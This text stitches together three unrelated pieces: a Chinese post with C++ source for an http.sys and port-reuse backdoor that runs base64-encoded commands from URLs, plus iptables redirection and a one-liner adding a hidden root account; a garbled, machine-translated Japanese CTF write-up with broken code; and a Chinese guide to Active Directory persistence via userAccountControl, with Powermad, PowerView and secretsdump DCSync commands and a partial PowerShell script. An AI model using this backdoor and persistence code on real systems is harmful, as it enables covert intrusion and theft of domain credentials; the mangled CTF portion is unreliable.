                result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));
            }
            else
            {
                result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK");
            }

            if (result != NO_ERROR)
            {
                //break; //if failed to send response, stop listening for further incoming requests
            }
            //
            // Reset the Request ID to handle the next request.
            //
            HTTP_SET_NULL_ID(&requestId);
        }
        else
        {
           // break;
        }

    }
    if (pRequestBuffer)
    {
        FREE_MEM(pRequestBuffer);
    }

    return result;
}

HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。
等待访问来源后
截取cmd=后字段内容

char* command;
char temp[512];
string cmd_temp;
strcpy_s(temp, pRequest->pRawUrl);
command = temp;
command = strstr(command, "cmd=");
if (command == NULL) //防止为空时报错。
    continue;
cmd_temp.assign(command);
cmd_temp.replace(cmd_temp.find("cmd="), 4, "");

对传入内容base64解码

uint8* text = (uint8*)cmd_temp.c_str();
uint32 text_len = (uint32)strlen((char*)text);
uint8 buffer[1024], buffer2[4096];
uint32 size = base64_decode(text, text_len, buffer);
buffer[size] = 0;

base64解码函数

#include <stdio.h>
#include <string.h>
#include <assert.h>
typedef unsigned char     uint8;
typedef unsigned long    uint32;
static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static uint8 reverse_map[] =
{
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255,
     255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
     255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255
};
uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain)
{
    assert((code_len & 0x03) == 0);  //如果它的条件返回错误,则终止程序执行。4的倍数。

    uint32 i, j = 0;
    uint8 quad[4];
    for (i = 0; i < code_len; i += 4)
    {
        for (uint32 k = 0; k < 4; k++)
        {
            quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数
        }

        assert(quad[0] < 64 && quad[1] < 64);

        plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合

        if (quad[2] >= 64)
            break;
        else if (quad[3] >= 64)
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合
            break;
        }
        else
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2);
            plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
        }
    }
    return j;
}

命令执行,这里我用的createprocess+命名管道实现命令结果的回传。

string results;
if (cmd_temp.size() == 0)
    continue;
char* tis((char*)buffer);
HANDLE hRead, hWrite;
CreatePipecmd(tis, hRead, hWrite, results);
result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));

为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。
先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。

BOOL KillProcess(DWORD ProcessId)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
    if (hProcess == NULL)
        return FALSE;
    if (!TerminateProcess(hProcess, 0))
        return FALSE;
    return TRUE;
}
char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result)
{
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hCmdRead, hCmdWrite;
    char buf[2048] = { 0 };
    DWORD len;
    CreatePipe(&hRead, &hCmdWrite, &sa, 0);
    int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0);
    if (nRet == 0) {        //管道创建失败
        printf("CreatePipecmd()::CreatePipe() fail!\n");
        return NULL;
    }
    STARTUPINFO startinfo;          //设置cmd启动参数
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hCmdRead;
    startinfo.hStdOutput = hCmdWrite;
    startinfo.hStdError = hCmdWrite;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION proinfo;    //创建cmd进程
    nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo);
    int pid = GetProcessIdOfThread(proinfo.hThread);
    CloseHandle(hCmdRead);      //关闭cmd读写句柄HANDLE
    CloseHandle(hCmdWrite);
    CloseHandle(proinfo.hThread);
    CloseHandle(proinfo.hProcess);
    if (0 == nRet) {
        printf("CreatePipecmd()::CreateProcess() fail.\n");
        CloseHandle(hRead);
        CloseHandle(hWrite);
        result += buf;
    }
    Sleep(100);
    KillProcess(pid);
    while (ReadFile(hRead, buf, 2047, &len, NULL))
    {
        printf(buf);
        result += buf;
        ZeroMemory(buf, 2047);
    }
}

实现效果:
uh12t-ubagi

可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。

普通用户权限实现后门

上面介绍的都是在管理员权限使用。在普通用户下如何实现。
netsh http show urlacl

查看所有urlacl。
20210105165543

找到有一个自带url是everyone的

http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp

20210105170450

也可以自己手动添加everyone映射。

netsh http add urlacl url=http://+:80/1111.jsp user=everyone

IIS模块劫持实现

找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。

C

先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。

20210107111811

利用项目

https://github.com/WBGlIl/IIS_backdoor
整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。

代码说明:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

实现效果
20210107172133

使用前提:
IIS开启应用程序开发功能。
20210107161819

这里在添加模块处需要注意.net版本。
20210107162415

Cpp

https://github.com/0x09AL/IIS-Raid

20210108114458

利用SO_REUSEADDR和SO_REUSEPORT端口复用

查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。
因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。

这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。
如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。

复用的参考代码可以看:https://xz.aliyun.com/t/1661

//绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);
    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;

20210131200052

20210129214937

最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。

后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);
    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, SOMAXCONN);
    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);
    closesocket(listenSock);
    int iResult = 0,iSendResult = 0;
    #define DEFAULT_BUF_LEN 512
    char caRecvBuf[DEFAULT_BUF_LEN];
    do 
    {
        iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL);
        if (iResult > 0)
        {
            printf("Receive %d bytes of data...\n", iResult);
            string results;
            char buffer[1024];
            char* tis((char*)buffer);
            HANDLE hRead, hWrite;
            CreatePipecmd(caRecvBuf, hRead, hWrite, results);

            char* p = (char*)results.data();
            //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL);
            iSendResult = send(recvSock, p, 2048, NULL);
            if (iSendResult == SOCKET_ERROR)
            {
                printf("fail to call send function\n");
                closesocket(recvSock);
                WSACleanup();
                return 1;
            }
            printf("Send %d bytes of data...\n", iResult);
        }
        else if (iResult == 0)
        {
            printf("End sending data\n");
        }
        else
        {
            printf("fail to call recv function\n");
            closesocket(recvSock);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);
    iResult = shutdown(recvSock, SD_BOTH);
    WSACleanup();
    return 0;
}

5fxh8-1tcpk

w3wp.exe利用

这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。
上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了
原文:https://www.freebuf.com/articles/system/11305.html
代码:https://github.com/zhang5521/Aiwb
我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。

后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。
文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html
文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html

然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败

20210129161129

自己写的hook也尝试了,注入失败。

不想了,这算是个思路吧,

iptables端口转发

整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。
不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。

命令:

将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。

附一句话添加超级用户命令:

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps   //密码为adminxxx.    python -c "import crypt;print crypt.crypt('adminxxx.','ab')"

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙
https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块



本文转载自: http://8sec.cc/index.php/archives/450/

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

0x00 前言

机器帐户被许多技术用于权限提升和横向移动,但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 userAccountControl 属性中,使其转换为域控制器。在这两种情况下,攻击者都可以通过机器帐户进行身份验证并执行特权操作,例如通过 DCSync 导出所有域哈希等。

@Sean Metcalf 是第一个公开披露如何通过将机器帐户添加到高权限组来将机器帐户用作域持久性后门的人,此方法与向域管理员组添加标准用户帐户相同。2020 年, @Stealthbits 发布了一篇名为《SERVER (UN)TRUST ACCOUNT》的文章,展示了另一种持久性技术,其中涉及如何从机器帐户进行 Active Directory 复制。尽管通过 DCSync 技术转储密码哈希并不新鲜,并且相关操作可能会触发适当的警报,但使用机器帐户执行相同的技术能够达到更隐蔽的目的。

0x01  userAccountControl基础知识

在活动目录中,userAccountControl 是每一个账户的必备属性,该属性是一个位字段,不同的标志位代表不同的用户信息,该属性的值为所有标志位值的和。

juspjjzssr415510.png

下图是微软官方文档中给出的可能标志位,以及其十六进制和十进制值,详情请参考:Use the UserAccountControl flags to manipulate user account properties。

mhwcps02h1315512.png

userAccountControl 中有一个名为 SERVER_TRUST_ACCOUNT 的标志位,其十六进制值为 0x2000,十进制值为 8192,用来表示该账户是域控制器的机器帐户。当机器账户的 userAccountControl 属性设置了 SERVER_TRUST_ACCOUNT 标志位后,Active Directory 必须将该账户的 primaryGroupId 属性设置为域控制器组的 RID。因此,只需更改 userAccountControl 的标志位即可为普通域成员机器授予域控制器的特权。

0x02  实验测试一

在实战中,攻击者可以通过滥用 userAccountControl 属性,将普通域内机器的身份变为域控制器,并配合 DCSync 技术实现域持久化。具体做法比较简单,就是将机器账户的 userAccountControl 属性值设置为 8192。

(1)在域控制器上执行以下命令,通过 Powermad 在域内创建一个名为 PENTEST$ 的机器账户,账户密码设为 Passw0rd

Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建一个机器账户
New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose

phom133gj2m15515.png

(2)执行以下命令,通过 PowerView.ps1 查询新添加的机器账户 PENTEST$。可以看到,账户 PENTEST$ 的主要组 ID(primaryGroupId)为 515,这是 Domian Computers 组的 RID,说明 PENTEST$ 此时还是一台普通域成员机器,如下图所示。

Import-Module .\PowerView.ps1
Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl

vycu4kmwhaa15517.png

(3)执行以下命令,通过 PowerView.ps1 将 PENTEST$ 账户的 userAccountControl 属性值设为 8192,这将更改账户的主要组 ID 为 516,如图下所示。此时,PENTEST$ 账户的主要组被改为了 Domain Controllers,也就是域控制器组。

Import-Module .\PowerView.ps1
Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose

1uzyn5s0ig215520.png

如下图所示,此时 PENTEST$ 账户已经是一台域控制器了。

0w5yzarnzbv15523.png

(4)由于其拥有所需的特权并且账户密码已知,所以在普通域主机上可直接通过 secretsdump.py 执行 DCSync 操作来导出域用户哈希,如图所示。

python3 secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc

l0lu20yfw5k15530.png

根据上述利用过程,编写了一个简单的 PowerShell 脚本 NewDomainController.ps1,以下是完整的代码:

Function NewDomainController {
<#
.SYNOPSIS
    This script will create a new domain controller account in the domain for the purpose of domain persistence.
.DESCRIPTION
    In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit 
    field. Different flags represent different user information. The value of this attribute is the sum of all 
    flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000 
    and decimal value is 8192, which is used to indicate that the account is the machine account of the domain 
    controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, 
    Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. 
    So just change userAccountControl to grant domain controller privileges to normal domain member machines.
.LINK
    https://whoamianony.top/domain-persistence-machine-accounts/
.PARAMETER Domain
    Specifies the domain name, if omitted, the domain name will be obtained automatically.
.PARAMETER DomainController
    Specifies the FQDN of the domain controller.
.PARAMETER MachineAccount
    Specifies the name of the machine account to be created.
.PARAMETER Password
    Specifies the password of the machine account to be created.
.OUTPUTS
    Output will be shown in the console
.NOTES
    Version:        0.1
    Author:         WHOAMI
    Date:           01/18/2022
.EXAMPLE
    NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
#>

    param (
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Domain,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$DomainController,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$MachineAccount,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Password
    )


    function FormatStatus([string]$Flag, [string]$Message) {
        If($Flag -eq "1") {
            Write-Host "[+] " -ForegroundColor:Green -NoNewline
            Write-Host $Message
        }ElseIf($Flag -eq "0") {
            Write-Host "[-] " -ForegroundColor:Red -NoNewline
            Write-Host $Message
        }
    }
    

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")

    if($Password)
    {
        $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
        $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
        $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)
        $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')
    }

    if(!$DomainController -or !$Domain)
    {
        try
        {
            $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            FormatStatus 0 "$($_.Exception.Message)"
            throw
        }

        if(!$DomainController)
        {
            $DomainController = $CurrentDomain.PdcRoleOwner.Name
            FormatStatus 1 "Get Domain Controller: $DomainController"
        }

        if(!$Domain)
        {
            $Domain = $CurrentDomain.Name
            $Domain = $Domain.ToLower()
            FormatStatus 1 "Get Domain Name: $Domain"
        }
    }

    $_MachineAccount = $MachineAccount

    if($MachineAccount.EndsWith('$'))
    {
        $SAMAccountName = $_MachineAccount
        $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
    }
    else 
    {
        $SAMAccountName = $_MachineAccount + "$"
    }

    FormatStatus 1 "Get SAMAccountName: $SAMAccountName" 


